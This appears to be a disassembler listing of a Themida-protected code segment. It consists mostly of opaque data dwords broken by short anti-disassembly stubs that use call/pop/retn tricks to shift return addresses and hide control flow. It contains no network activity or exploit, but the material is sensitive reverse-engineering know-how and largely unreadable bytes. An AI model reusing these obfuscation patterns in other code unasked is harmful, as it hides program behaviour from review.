		dd 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0BC32E7C3h, 0C14C3994h, 6A04E8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0D17FAEC3h, 3076C568h, 16C99589h, 0B58B060Eh, 60E320Dh
		dd 0E9E2F766h, 9, 5CD6C10h, 0B35FDB0Fh,	6AD82BDCh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 8BC4C352h, 5293A753h, 216708BEh, 0E9505E68h,	14h, 0F942D090h
		dd 0BEF92C04h, 89D3CE78h, 24DE4860h, 85661A5Eh,	7DBE6693h
		dd 0C68166D2h, 0B5FF2638h, 60E2E49h, 12E8h, 0D44A1E00h
		dd 43BFE176h, 0F2A397B1h, 0DFA3B296h, 5E1F3959h, 0F4595FFh
		dd 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BE664DC3h, 0B0FA07h, 68C0Fh, 0B5310000h
		dd 60E2E4Dh, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0B5C7BC3h, 0E1CA1BDh, 45D68106h
		dd 0E41E4BBCh, 10E971h,	93290000h, 0B75A47Ah, 699BB7Dh
		dd 26EEF067h, 613C540Ah, 260830Fh, 0BD2B0000h, 60E0EADh
		dd 0BAD8B60Fh, 6, 94C78157h, 5F74D033h,	0E8C1C38Bh, 5880F04h
		dd 0BE000000h, 116C532Ch, 60E2F766h, 7E8h, 77C2A000h, 88B74C46h
		dd 19298D8Bh, 0F59060Eh, 0A82h,	5E900h,	0E8240000h, 61F9A571h
		dd 11E8D82Bh, 86000000h, 469DB802h, 0B439EC4Ah,	636E35C8h
		dd 1B611CE2h, 0C38B6660h, 33099D89h, 5E61060Eh,	51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 132E4DEEh, 52D54EA3h, 9589D886h, 60E1A59h, 880FD82Bh
		dd 1BAh, 0BE960h, 47C80000h, 4227B701h,	9B76FEB6h, 898D8B4Ch
		dd 61060E00h, 7B9h, 68D0F00h, 3000000h,	0E1BA9BDh, 0C18306h
		dd 16D59D89h, 0D93B060Eh, 180860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 17A914C3h
		dd 0B3860FFAh, 0E9605455h, 0Dh,	0B2CACEB1h, 76D6E64Fh
		dd 6F8DC103h, 8C6661FCh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 60601B50h, 1E75BD09h
		dd 0BE9060Eh, 0DD000000h, 560B58EDh, 50F18BF2h,	896184CAh
		dd 0E1CC9BDh, 4C1F606h,	0D9840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 7B447DC3h
		dd 0E9FFDFD9h, 168995FFh, 6A060Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 66A5DCC3h, 28DE245Eh
		dd 68C0F56h, 8B000000h,	0E0939BDh, 6A5B5E06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F363C350h, 514B3A79h, 0F9CDB8D2h, 2BF7B70Fh, 8343DC3h
		dd 860F0000h, 4Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 13C35747h, 0E849B274h, 0E9D4827Ch, 4Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E1C35545h
		dd 298D31FCh, 8B060E19h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 6E4A787Ah, 0A018589h
		dd 0C38B060Eh, 0BD01D88Bh, 60E161Dh, 2D0585C7h,	0CF55060Eh
		dd 8A0F776Ah, 0
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_588AB5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588AB5	proc near		; CODE XREF: Themida_:00588AADp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_588AB5	endp

; ---------------------------------------------------------------------------
		db 7Fh,	33h, 2Eh
		dd 0E8609A59h, 10h, 0D45FE636h,	2251BB75h, 592C64BCh, 61843AB8h
		dd 0A69BCB81h, 61597F74h, 2E49BD81h, 7D0060Eh, 850F0000h
		dd 50h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h
		dd 5CC35747h, 5890Fh, 81660000h, 0FF2655DFh, 0E2E4985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 86FF56CEh, 630F9D23h, 2E49B5FFh,	95FF060Eh
		dd 60E0F45h, 8198DE81h,	8990670Ah, 0E185985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 26BD7DEDh, 0EE3C0D9Fh, 4DB58BFAh, 89060E0Ah,	0E0899BDh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 3F25694Dh, 0CD76D8A9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0FFC35343h,	248F0Fh, 10E90000h
		dd 7A000000h, 0A107E7FCh, 5D4B0675h, 4D43BB4Fh,	0E99879B1h
		dd 0Ah,	12631EA4h, 0DEA3234Ch, 0B5312A6Dh, 60E2A41h, 301D9D89h
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 610A95C3h, 0FF25739h, 6AF8FEB7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0A9ABC357h, 298D9D89h, 0BD29060Eh, 60E31A5h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 47C35343h, 5E890h
		dd 0C2910000h, 8B6AF3BEh, 0E18D5BDh, 0AFE95E06h, 6AFFFFF7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 5C66C357h, 5812372Dh, 0C18B2B66h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FDC35646h, 9D9D896Fh
		dd 0F060E16h, 582h, 0FDFCBE00h,	4EB21A3h, 0
		dd 0C850FFCh, 0F000000h, 68Ah, 89B58B00h, 8B060E00h, 0E23F9B5h
		dd 0C1858D06h, 6A060E19h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 33D2C356h, 16CA493h
		dd 89BD8B6Eh, 90060E24h, 53505F57h, 0B58B905Fh,	60E1F6Dh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0FAC594C3h, 78A726D5h, 6A87F1h, 2141BD8Bh
		dd 858D060Eh, 611F7FEh,	13E9BD33h, 0C083060Eh, 38F0F05h
		dd 66000000h, 0B58BFE8Bh, 60E03BDh, 52BE6690h, 0F990507Dh
		dd 0B589006Ah, 60E31A9h, 8B66006Ah, 0E195FFFAh,	6A060E2Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 83DFC351h, 420D9DE9h, 0BD8B5794h,	60E2AADh
		dd 4258589h, 9D8D060Eh,	611924Bh, 0C39B589h, 0D3FF060Eh
		dd 1429BD8Bh, 85FF060Eh, 60E1475h, 11E9h, 541D5100h, 73F6361h
		dd 9E92CC89h, 0DB354FD7h, 0B4E9A56Dh, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 611F808h
		mov	di, si
		cmp	dword ptr [ebp+60E2E49h], 7D0h
		jbe	loc_588F0D
		mov	edi, [ebp+60E1015h]
		mov	[ebp+60E16F1h],	edx
		mov	ebx, [ebp+60E23A1h]
		push	0
		push	esi
		call	sub_588E3B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588E3B	proc near		; CODE XREF: Themida_:00588E33p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_588E3B	endp

; ---------------------------------------------------------------------------
		movsd
		xor	dword ptr [edi+9B501A7h], 81060E34h
		jecxz	short $+2
		add	[eax], eax
		add	[ecx], ch
		mov	ch, 0F1h
		or	[esi], cl
		push	es
		or	ebx, ebx
		jnz	loc_588EA0
		sub	esi, [ebp+60E0BC1h]
		cmp	dword ptr [ebp+611F6E0h], 0
		jz	loc_588E85
		mov	si, 6B74h
		jmp	loc_588EB9
; ---------------------------------------------------------------------------


loc_588E85:				; CODE XREF: Themida_:00588E76j
		mov	dword ptr [ebp+611F6E0h], 1
		add	[ebp+60E2D89h],	ecx
		jmp	loc_588EB9
; ---------------------------------------------------------------------------
		mov	[ebp+60E1A69h],	ebx


loc_588EA0:				; CODE XREF: Themida_:00588E63j
		mov	dword ptr [ebp+611F6E0h], 0
		jnz	loc_588EB9
		jnp	loc_588EB9
		mov	si, dx


loc_588EB9:				; CODE XREF: Themida_:00588E80j
					; Themida_:00588E95j ...
		lea	ebx, [ebp+60E23A1h]
		push	0
		push	ebp
		call	sub_588ECA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588ECA	proc near		; CODE XREF: Themida_:00588EC2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_588ECA	endp

; ---------------------------------------------------------------------------
		dw 2F13h
		dd 819B96CDh, 0FFFEFF23h, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0EC69881h
		dd 8986FC0Bh, 0E0D41B5h
; ---------------------------------------------------------------------------
		push	es


loc_588F0D:				; CODE XREF: Themida_:00588E18j
		mov	bx, ds
		mov	[ebp+60E308Dh],	esi
		test	bl, 4
		jz	loc_588FBC
		push	0
		push	ebp
		call	sub_588F2A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F2A	proc near		; CODE XREF: Themida_:00588F22p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_588F2A	endp

; ---------------------------------------------------------------------------
		dw 9243h
		dd 49D4035Bh, 9E80Ah, 2E2A0000h, 8B9C2BB2h, 292DA2EBh
		dd 0E30B595h, 95FF5F06h, 60E1689h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 9CC35646h, 11E9h, 31857400h
		dd 0CB0E8670h, 15B6CB2Ah, 219BD1D0h, 0F88B5F77h, 24048950h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8EC35343h
		dd 90DCB166h, 66E89357h, 0B1F0F781h
; ---------------------------------------------------------------------------


loc_588FBC:				; CODE XREF: Themida_:00588F19j
		jmp	loc_589413
; ---------------------------------------------------------------------------
		or	[ebp+60E07DDh],	eax
		mov	al, 0
		push	0
		push	ebx
		call	sub_588FD4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588FD4	proc near		; CODE XREF: Themida_:00588FCCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_588FD4	endp

; ---------------------------------------------------------------------------
		dd 31B531CFh, 0E6060E1Bh, 55006A70h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0E919C6BDh
		dd 40EE8166h, 971E4F7h,	0E028D8Dh, 0D8B60F06h, 7E8h, 894E0F00h
		dd 0D57CA95h, 6BA5EFCh,	0E9000000h, 0Bh, 539F8C5Dh, 41937E7Bh
		dd 8B412C6Ch, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0A7BE66DDh, 4E8C148h, 89E2F766h
		dd 0E24B98Dh, 6AD82B06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0BCC3C350h,	0E253F8B7h
		dd 68D0Fh, 0B58B0000h, 60E02D5h, 0EE850h, 8A950000h, 1A2960B0h
		dd 2B3EEBD7h, 421E3578h, 58E0Fh, 0C5BE0000h, 5E7E3006h
		dd 0FF241C89h, 0E2E49B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 92F5BA0Dh
		dd 95FFFE8Bh, 60E0F45h,	50E78166h, 6A00B085h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0D07DC351h, 36B86509h, 8B9C4245h, 6A70E6F2h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0AAC4C351h, 0FE05BE1Dh, 0BD034525h, 60E0A41h, 31B18589h
		dd 71E4060Eh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	2FC35545h, 0F39DBFDBh, 0E97609F3h, 5, 0E4F51CB6h
		dd 0F613CB1h, 29283h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0A7BFFE1h, 7137297h, 8E91Dh
		dd 0E6130000h, 9074F952h, 0B60F5E5Fh, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 84E9E8ACh, 1F32304Eh, 6BA68h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 63F27EC3h
		dd 6218CF86h, 0C38B74E4h, 1C81B58Bh, 0E8C1060Eh, 0E19D8904h
		dd 66060E08h, 0D681E2F7h, 79DF73A5h, 0C681D82Bh, 4F384974h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 9D029D1Ch, 0DDB58BD8h, 2B060E13h, 0C0880FD8h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0A115C357h, 8876EDBBh,	0BE95B3Ch
		dd 0CE000000h, 0C393E091h, 0D0AF091Ah, 7B9636Bh, 60000000h
		dd 0EED18166h, 0DD958B7Ch, 61060E03h, 8100C183h, 99E324F6h
		dd 0FD93B4Ah, 16A86h, 13E800h, 2C490000h, 0FD3DDC8Ch, 0E554D1Fh
		dd 379E7258h, 85C2AECDh, 8C665F7Fh, 52006AD9h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 3CCDCDC4h
		dd 0FDEB2C2Eh, 0B53378EDh, 60E0A25h, 0F04C1F6h,	0EF84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 1C72A6Fh, 4865637h, 0DE948F3h, 11000000h
		dd 40E53698h, 0EA9F4D99h, 2A9569DDh, 168995FFh,	6A060Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 595286C3h, 6A5D5C76h, 5BFABF0Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0CDC35040h,	189EED73h, 0F259960Bh
		dd 8D41BF66h, 22F58D89h, 0C32B060Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 2AC35545h, 6D763887h, 8F0F92h
		dd 3D000000h, 834h, 2A860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0FE7F95C3h
		dd 30E9BC9Dh, 66000000h, 0A68CCF81h, 6AC08Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 5360A2C3h
		dd 18398501h, 5358060Eh
; ---------------------------------------------------------------------------
		cld
		pop	edx
		popa


loc_589413:				; CODE XREF: Themida_:loc_588FBCj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_589422
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589422	proc near		; CODE XREF: Themida_:0058941Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_589422	endp

; ---------------------------------------------------------------------------
		dw 8D7Bh
; ---------------------------------------------------------------------------
		adc	ebx, edi
		sbb	dl, [ecx-0Dh]
		xchg	ebp, ebx
		add	esi, [ebp+60E1351h]
		jz	loc_58944A
		movsx	esi, cx


loc_58944A:				; CODE XREF: Themida_:00589441j
		mov	dword ptr [ebp+60E0DBDh], 5C0D0F9Bh
		push	0
		push	ebp
		call	sub_58945F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58945F	proc near		; CODE XREF: Themida_:00589457p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_58945F	endp

; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------
		adc	esi, 574B7EBh
		jbe	loc_589482
		mov	[ebp+60E0945h],	ecx


loc_589482:				; CODE XREF: Themida_:00589476j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_58948F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58948F	proc near		; CODE XREF: Themida_:00589487p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_58948F	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 44B5F63h, 49BD81F9h,	0D0060E2Eh, 0F000007h, 3585h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 8E971h, 0B920000h, 532CB680h, 85FFE676h, 60E2E49h, 2785BD8Bh
		dd 0B5FF060Eh, 60E2E49h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 38C35646h, 0E95004DFh, 11h, 0DD3344F5h
		dd 9000FEB8h, 27A6F74Bh, 26FB7DCBh, 85895E7Dh, 60E0A7Dh
		dd 0F4595FFh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 35928DC3h, 0DDEE4940h, 870Fh, 8B660000h
		dd 6E9F0h, 0DE1C0000h, 77D8E0D0h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0FB315E7Dh
		dd 0ADB47C7Ah, 69B58BB1h, 0E8060E34h, 0Dh, 0ED2C5878h
		dd 0D76F2ED1h, 4C81B866h, 7191BFF8h, 850F31F8h,	1, 9D895FF8h
		dd 60E29D9h, 17E19D31h,	6A060Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 1AD68C3h, 0E04C5B5h
		dd 50DE8106h, 0F76FA81h, 0E8FCF1B7h, 8,	37951452h, 0EE180B0Ah
		dd 3284BF66h, 0D5853151h, 5F060E04h, 56006A5Eh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 36BFEE7Bh
		dd 8F0F8802h, 1Eh, 7E9h, 20466300h, 30E42EC4h, 0DE9h, 767FDD00h
		dd 1FBA2F6Ah, 3AF38E60h, 895227ADh, 0E2D2D95h, 0F38B6606h
		dd 0DE95Eh, 0BD040000h,	0FCCB6827h, 0F848FAC6h,	6AD0B01Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 7591C353h, 88BF6076h, 0FFF772E9h,	51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 77BBE307h, 8166FB49h, 8B8A62DFh, 56006AC1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 26A3AB39h
		dd 88745195h, 0BD89875Ah, 60E070Dh, 4EBh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 892B95C3h, 9E88608h,	0B3000000h, 0A75E7B73h,	7ED8A1A0h
		dd 6A90DE81h, 0BF5E315Fh, 4CCE605Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0C1C35747h,	12E9h, 52A2AE00h
		dd 639CC33Dh, 3D3B5008h, 0C202A0F2h, 0F9B2E211h, 19C1858Dh
		dd 0BF66060Eh, 0BE66AA60h, 50907790h, 90FB8B66h, 0AD5B589h
		dd 6A060Eh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ch,	45C35747h, 66389710h, 0A92C140Bh, 8952006Ah, 0E1629BDh
		dd 858D5E06h, 61202A3h,	0EADB58Bh, 0C083060Eh, 0F51BBF05h
		dd 509067EBh, 0BE665151h, 5E5F3750h, 0BE990h, 0A5370000h
		dd 32D9246Fh, 17C12D8Eh, 0BE006AA2h, 41001B4Eh,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0FFB486C3h, 85A9B54h, 319BD8Bh, 0BD89060Eh, 60E0325h
		dd 2FE195FFh, 6A060Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 4D98CEC3h, 0B6A15628h, 0FD55993h
		dd 9D8DF6B7h, 611924Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0FFC35747h, 0F2AE769h, 0FC695236h, 0FABF0F7Ch
		dd 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 40411C3h,	30D4BF60h, 0B70F2DF4h, 85FF61FBh
		dd 60E1475h, 6E9h, 13967500h, 6611EAEBh, 0E9836BBFh, 7C4h
		dd 0E8h, 0ED815D00h, 61202ADh, 2055BD0Bh, 0BD81060Eh, 60E2E49h
		dd 7D0h, 0F3860Fh, 8FBF0000h, 8B6B4509h, 0E133D9Dh, 0D7E78106h
		dd 8148779Fh, 100E3h, 0DE900h, 0BEC60000h, 0E8408E2Fh
		dd 0B7CB113Dh, 0B0879C1h, 77850FDBh, 0F000000h,	81h, 0E6BD8300h
		dd 61200h, 31840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 180424h, 56460000h, 3D9C25C3h, 0B52B543Dh
		dd 60E2FF1h, 97D0E681h,	63E9038Ah, 0C7000000h, 1200E685h
		dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E957BF55h, 36h, 3360D681h, 85C71D07h
		dd 61200E6h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_589983
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589983	proc near		; CODE XREF: Themida_:0058997Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_589983	endp

; ---------------------------------------------------------------------------
		db 0D2h
		dd 8F7DB727h, 789BD89h,	9D8D060Eh, 60E133Dh, 81F78B66h
		dd 0FFFEFF23h, 6870FFFh, 89000000h, 0E1B5DBDh, 0DB8C6606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2BC35646h
		dd 0E9605B88h, 0Eh, 4E9626C2h, 29D05D32h, 0FCF7712Ah, 0F6611A72h
		dd 840F04C3h, 0C7h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 27C35646h, 8B52DBE4h,	0E305DB5h, 8995FF06h
		dd 6A060E16h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 99C3C351h, 0C22B18BEh,	0E99EDAE0h
		dd 6, 0D63AB217h, 6090D092h, 56D08B66h,	14E8h, 1A4B3500h
		dd 2015C6C1h, 8FFB44FDh, 0B6536CAEh, 56EA1E8Dh,	615E59F3h
		dd 7E850h, 46590000h, 878A624Eh, 530DBFD8h, 905E2A7Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 81C35646h
		dd 13840FC1h, 0E8000000h, 8, 0F574BC12h, 0E78B982Ch, 7DF8166h
		dd 0E9F95F39h, 36Fh, 16D5B58Bh,	0B0060Eh, 0F8F78152h, 5E26D84Bh
		dd 0BE970E6h, 8C000000h, 0FFF68CFEh, 0C7D8D066h, 71E40F5Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 80C35545h
		dd 0FEB8576h, 8166D8B6h, 0BACB88CFh, 6,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 9DC35242h, 66E40827h
		dd 1253C781h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1A2B30C3h, 75854021h, 4E8C102h
		dd 33F58589h, 0F766060Eh, 0F9B70FE2h, 6AD82Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0FC57B3C3h, 5F3AF5D2h, 0E993F28Bh, 0Dh, 8D1D00A1h, 1A5163F3h
		dd 5BF9836Fh, 8E85020h,	0CC000000h, 0DCE35A9Ch,	5F1A962Ah
		dd 81665093h, 5EFB4DDFh, 2E49B5FFh, 95FF060Eh, 60E0F45h
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 968FF3C3h, 59865575h, 0E9E4CF82h,	0Dh, 5FECD01Ah
		dd 4BB3DC9Ah, 0AFDDA808h, 6A70E624h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9F06C356h
		dd 998DD8BEh, 0C1B58971h, 0E4060E2Eh, 53006A71h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0FCDA4E0Eh, 728BC547h, 3CF28B66h, 0D8830F61h, 0F000001h
		dd 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9589D8C3h, 60E2FB1h, 17618589h, 6BA060Eh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0CAEC353h, 0C38B54F4h,	1655BD8Bh
		dd 0E8C1060Eh, 0E2F76604h, 0C699589h, 0D82B060Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 85C35040h, 6A585797h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 9476C350h, 0D82B897Bh, 12D880Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 5E93FC3h, 0A1000000h, 7C6F0DF8h, 91DF8166h, 7B9FFh
		dd 0B58B0000h, 60E1B8Dh, 6A00C183h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 62BFC350h
		dd 0FD93B11h, 0CE86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 70C2F4Ch, 0F585314Ch
		dd 89060E0Ah, 0E28DD9Dh, 0D98C6606h, 0D521BBBFh, 4C1F66Fh
		dd 65840Fh, 0B58B0000h,	60E02D5h, 168995FFh, 6A060Eh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0D8E669C3h, 0AE49008Dh, 12B7DF81h, 8B5B5594h, 0E132DB5h
		dd 89C32B06h, 0E33B9BDh, 29BD8906h, 3D060E14h, 834h, 11860Fh
		dd 95090000h, 60E2505h,	32E9h, 45BD2B00h, 8B060E0Bh, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 37D2D67Ah, 0EAEA7A71h, 0EE816657h, 8B5F9411h, 0C7D88BC3h
		dd 0E23A185h, 853FB906h, 6AC08B72h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 3DF1C350h
		dd 31BD8FE0h, 0E0F99B5h, 49BD8106h, 0D0060E2Eh,	0F000007h
		dd 5585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 67D60993h, 2BE5A300h, 11B589F9h
		dd 8B060E03h, 0E1C8DBDh, 4985FF06h, 6A060E2Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D567C353h, 0B5FF4781h, 60E2E49h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 59C35646h, 9ACE812Ah, 0F171BCE5h
		dd 18E68166h, 4595FF37h, 6A060E0Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0EBFC357h
		dd 78DE8162h, 309833Bh,	0E1491B5h, 6A9006h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7F03F4C3h
